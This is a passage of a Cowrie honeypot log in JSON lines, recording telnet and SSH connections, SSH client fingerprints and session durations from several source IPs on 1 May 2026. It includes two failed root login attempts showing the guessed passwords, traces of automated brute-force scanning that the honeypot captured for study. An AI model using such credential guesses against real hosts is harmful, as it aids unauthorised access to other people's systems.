{"eventid":"cowrie.session.closed","duration":48.958733558654785,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:29.388902Z","src_ip":"103.115.172.252","session":"8be1972b6dd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.08748745918274,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:31.955777Z","src_ip":"45.63.42.31","session":"64fe90e6443d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":41164,"dst_ip":"10.17.0.5","dst_port":22,"session":"40e316b68160","protocol":"ssh","message":"New connection: 5.182.83.231:41164 (10.17.0.5:22) [session: 40e316b68160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:37.010026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:37.014768Z","src_ip":"5.182.83.231","session":"40e316b68160","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:37.133170Z","src_ip":"5.182.83.231","session":"40e316b68160","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWErty","message":"login attempt [root/123QWErty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:37.639040Z","src_ip":"5.182.83.231","session":"40e316b68160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":48306,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f93923c0897","protocol":"telnet","message":"New connection: 45.63.42.31:48306 (10.17.0.5:23) [session: 4f93923c0897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:38.117610Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:38.760597Z","src_ip":"5.182.83.231","session":"40e316b68160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":33620,"dst_ip":"10.17.0.5","dst_port":23,"session":"282752485c49","protocol":"telnet","message":"New connection: 45.63.42.31:33620 (10.17.0.5:23) [session: 282752485c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:42.587716Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":33866,"dst_ip":"10.17.0.5","dst_port":23,"session":"82d693078081","protocol":"telnet","message":"New connection: 45.63.42.31:33866 (10.17.0.5:23) [session: 82d693078081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:42.696704Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":57046,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba02ae9b98b7","protocol":"telnet","message":"New connection: 103.115.172.252:57046 (10.17.0.5:23) [session: ba02ae9b98b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:43.623497Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":41936,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbda8a128e99","protocol":"telnet","message":"New connection: 45.63.42.31:41936 (10.17.0.5:23) [session: fbda8a128e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:45.805387Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":42568,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f4bc2acd315","protocol":"telnet","message":"New connection: 45.63.42.31:42568 (10.17.0.5:23) [session: 2f4bc2acd315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:46.130749Z"}
{"eventid":"cowrie.session.closed","duration":34.14299774169922,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:48.904681Z","src_ip":"45.63.42.31","session":"33e6051798b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":46508,"dst_ip":"10.17.0.5","dst_port":23,"session":"8969d7f1e357","protocol":"telnet","message":"New connection: 45.63.42.31:46508 (10.17.0.5:23) [session: 8969d7f1e357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:51.092350Z"}
{"eventid":"cowrie.session.closed","duration":43.59296441078186,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:51.253129Z","src_ip":"103.115.172.252","session":"3a2b6b14c5f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.93486523628235,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:46:54.067762Z","src_ip":"45.63.42.31","session":"e695102d064c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.14.224.154","src_port":44844,"dst_ip":"159.203.135.109","dst_port":23,"session":"d82acc5d123c","protocol":"telnet","message":"New connection: 45.14.224.154:44844 (159.203.135.109:23) [session: d82acc5d123c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:04.073838Z"}
{"eventid":"cowrie.session.closed","duration":36.543198108673096,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:05.071740Z","src_ip":"45.63.42.31","session":"cb062bd212b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":54234,"dst_ip":"10.17.0.5","dst_port":23,"session":"5e42487a6d07","protocol":"telnet","message":"New connection: 45.63.42.31:54234 (10.17.0.5:23) [session: 5e42487a6d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:05.217513Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":55976,"dst_ip":"10.17.0.5","dst_port":23,"session":"d38532eaf3c5","protocol":"telnet","message":"New connection: 45.63.42.31:55976 (10.17.0.5:23) [session: d38532eaf3c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:07.099477Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":59818,"dst_ip":"10.17.0.5","dst_port":23,"session":"75006a7adaea","protocol":"telnet","message":"New connection: 45.63.42.31:59818 (10.17.0.5:23) [session: 75006a7adaea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:08.860190Z"}
{"eventid":"cowrie.session.closed","duration":35.1534321308136,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:13.270851Z","src_ip":"45.63.42.31","session":"4f93923c0897","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":36810,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba6ace722d9d","protocol":"telnet","message":"New connection: 45.63.42.31:36810 (10.17.0.5:23) [session: ba6ace722d9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:13.297421Z"}
{"eventid":"cowrie.session.closed","duration":34.8646502494812,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:17.452263Z","src_ip":"45.63.42.31","session":"282752485c49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.80682110786438,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:18.503387Z","src_ip":"45.63.42.31","session":"82d693078081","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.98406004905701,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:20.607414Z","src_ip":"103.115.172.252","session":"ba02ae9b98b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.60795593261719,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:21.738503Z","src_ip":"45.63.42.31","session":"2f4bc2acd315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.158994913101196,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:21.964255Z","src_ip":"45.63.42.31","session":"fbda8a128e99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.41914224624634,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:24.511395Z","src_ip":"45.63.42.31","session":"8969d7f1e357","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97756552696228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:35.051300Z","src_ip":"45.14.224.154","session":"d82acc5d123c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.611679792404175,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:39.711027Z","src_ip":"45.63.42.31","session":"d38532eaf3c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.32534837722778,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:40.542720Z","src_ip":"45.63.42.31","session":"5e42487a6d07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.94178867340088,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:42.801626Z","src_ip":"45.63.42.31","session":"75006a7adaea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.12482953071594,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:47:47.422141Z","src_ip":"45.63.42.31","session":"ba6ace722d9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":57090,"dst_ip":"10.17.0.5","dst_port":23,"session":"c647a618ca30","protocol":"telnet","message":"New connection: 45.63.42.31:57090 (10.17.0.5:23) [session: c647a618ca30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:00.083481Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":60290,"dst_ip":"10.17.0.5","dst_port":23,"session":"649a256f4266","protocol":"telnet","message":"New connection: 45.63.42.31:60290 (10.17.0.5:23) [session: 649a256f4266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:04.618634Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":60376,"dst_ip":"10.17.0.5","dst_port":23,"session":"385f9caf2007","protocol":"telnet","message":"New connection: 45.63.42.31:60376 (10.17.0.5:23) [session: 385f9caf2007]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:04.663203Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":42438,"dst_ip":"10.17.0.5","dst_port":23,"session":"60fc55ceb060","protocol":"telnet","message":"New connection: 45.63.42.31:42438 (10.17.0.5:23) [session: 60fc55ceb060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:06.871291Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.255.52.36","src_port":34468,"dst_ip":"159.203.135.109","dst_port":22,"session":"816ab0789377","protocol":"ssh","message":"New connection: 191.255.52.36:34468 (159.203.135.109:22) [session: 816ab0789377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:09.843287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:09.846976Z","src_ip":"191.255.52.36","session":"816ab0789377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:10.027281Z","src_ip":"191.255.52.36","session":"816ab0789377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456","message":"login attempt [root/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:10.625174Z","src_ip":"191.255.52.36","session":"816ab0789377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:11.824558Z","src_ip":"191.255.52.36","session":"816ab0789377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":42364,"dst_ip":"10.17.0.5","dst_port":23,"session":"76b3c549d9ec","protocol":"telnet","message":"New connection: 45.63.42.31:42364 (10.17.0.5:23) [session: 76b3c549d9ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:20.810738Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":46884,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcfd34481cb0","protocol":"telnet","message":"New connection: 45.63.42.31:46884 (10.17.0.5:23) [session: dcfd34481cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:23.264059Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":46990,"dst_ip":"10.17.0.5","dst_port":23,"session":"895e71c262c4","protocol":"telnet","message":"New connection: 45.63.42.31:46990 (10.17.0.5:23) [session: 895e71c262c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:24.330076Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43666,"dst_ip":"10.17.0.5","dst_port":23,"session":"f75bcef55ff0","protocol":"telnet","message":"New connection: 45.63.42.31:43666 (10.17.0.5:23) [session: f75bcef55ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:24.494012Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":56512,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a5f1b521ee6","protocol":"telnet","message":"New connection: 45.63.42.31:56512 (10.17.0.5:23) [session: 7a5f1b521ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:31.323186Z"}
{"eventid":"cowrie.session.closed","duration":37.540881633758545,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:37.624235Z","src_ip":"45.63.42.31","session":"c647a618ca30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.61758899688721,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:38.280686Z","src_ip":"45.63.42.31","session":"385f9caf2007","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.50673961639404,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:39.125255Z","src_ip":"45.63.42.31","session":"649a256f4266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.789509296417236,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:42.660686Z","src_ip":"45.63.42.31","session":"60fc55ceb060","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":60138,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b674c8e5586","protocol":"telnet","message":"New connection: 103.115.172.252:60138 (10.17.0.5:23) [session: 7b674c8e5586]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:44.074560Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":59350,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d7c267154d2","protocol":"telnet","message":"New connection: 45.63.42.31:59350 (10.17.0.5:23) [session: 3d7c267154d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:46.466128Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":40386,"dst_ip":"10.17.0.5","dst_port":23,"session":"60bcf3c1634c","protocol":"telnet","message":"New connection: 45.63.42.31:40386 (10.17.0.5:23) [session: 60bcf3c1634c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:47.969252Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":36482,"dst_ip":"10.17.0.5","dst_port":23,"session":"97face2d02f7","protocol":"telnet","message":"New connection: 45.63.42.31:36482 (10.17.0.5:23) [session: 97face2d02f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:49.082595Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":49746,"dst_ip":"10.17.0.5","dst_port":23,"session":"3048b5855ad3","protocol":"telnet","message":"New connection: 45.63.42.31:49746 (10.17.0.5:23) [session: 3048b5855ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:53.694243Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":35420,"dst_ip":"10.17.0.5","dst_port":23,"session":"990bd17fe3c6","protocol":"telnet","message":"New connection: 103.115.172.252:35420 (10.17.0.5:23) [session: 990bd17fe3c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:56.808996Z"}
{"eventid":"cowrie.session.closed","duration":36.12781643867493,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:56.938432Z","src_ip":"45.63.42.31","session":"76b3c549d9ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8933804035186768,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:57.702281Z","src_ip":"103.115.172.252","session":"990bd17fe3c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.649593353271484,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:57.913361Z","src_ip":"45.63.42.31","session":"dcfd34481cb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.709402084350586,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:59.039313Z","src_ip":"45.63.42.31","session":"895e71c262c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.06925058364868,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:48:59.563133Z","src_ip":"45.63.42.31","session":"f75bcef55ff0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.567749977111816,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:06.890863Z","src_ip":"45.63.42.31","session":"7a5f1b521ee6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":48878,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8e12f2ee55e","protocol":"telnet","message":"New connection: 45.63.42.31:48878 (10.17.0.5:23) [session: c8e12f2ee55e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:07.698375Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":60924,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fec3b59f74f","protocol":"telnet","message":"New connection: 45.63.42.31:60924 (10.17.0.5:23) [session: 6fec3b59f74f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:12.860942Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43208,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c6a147d39f2","protocol":"telnet","message":"New connection: 45.63.42.31:43208 (10.17.0.5:23) [session: 0c6a147d39f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:18.328649Z"}
{"eventid":"cowrie.session.closed","duration":35.01480197906494,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:21.480823Z","src_ip":"45.63.42.31","session":"3d7c267154d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":47256,"dst_ip":"10.17.0.5","dst_port":22,"session":"09197e762345","protocol":"ssh","message":"New connection: 5.182.83.231:47256 (10.17.0.5:22) [session: 09197e762345]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:21.941504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:49:21.949001Z","src_ip":"5.182.83.231","session":"09197e762345","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521"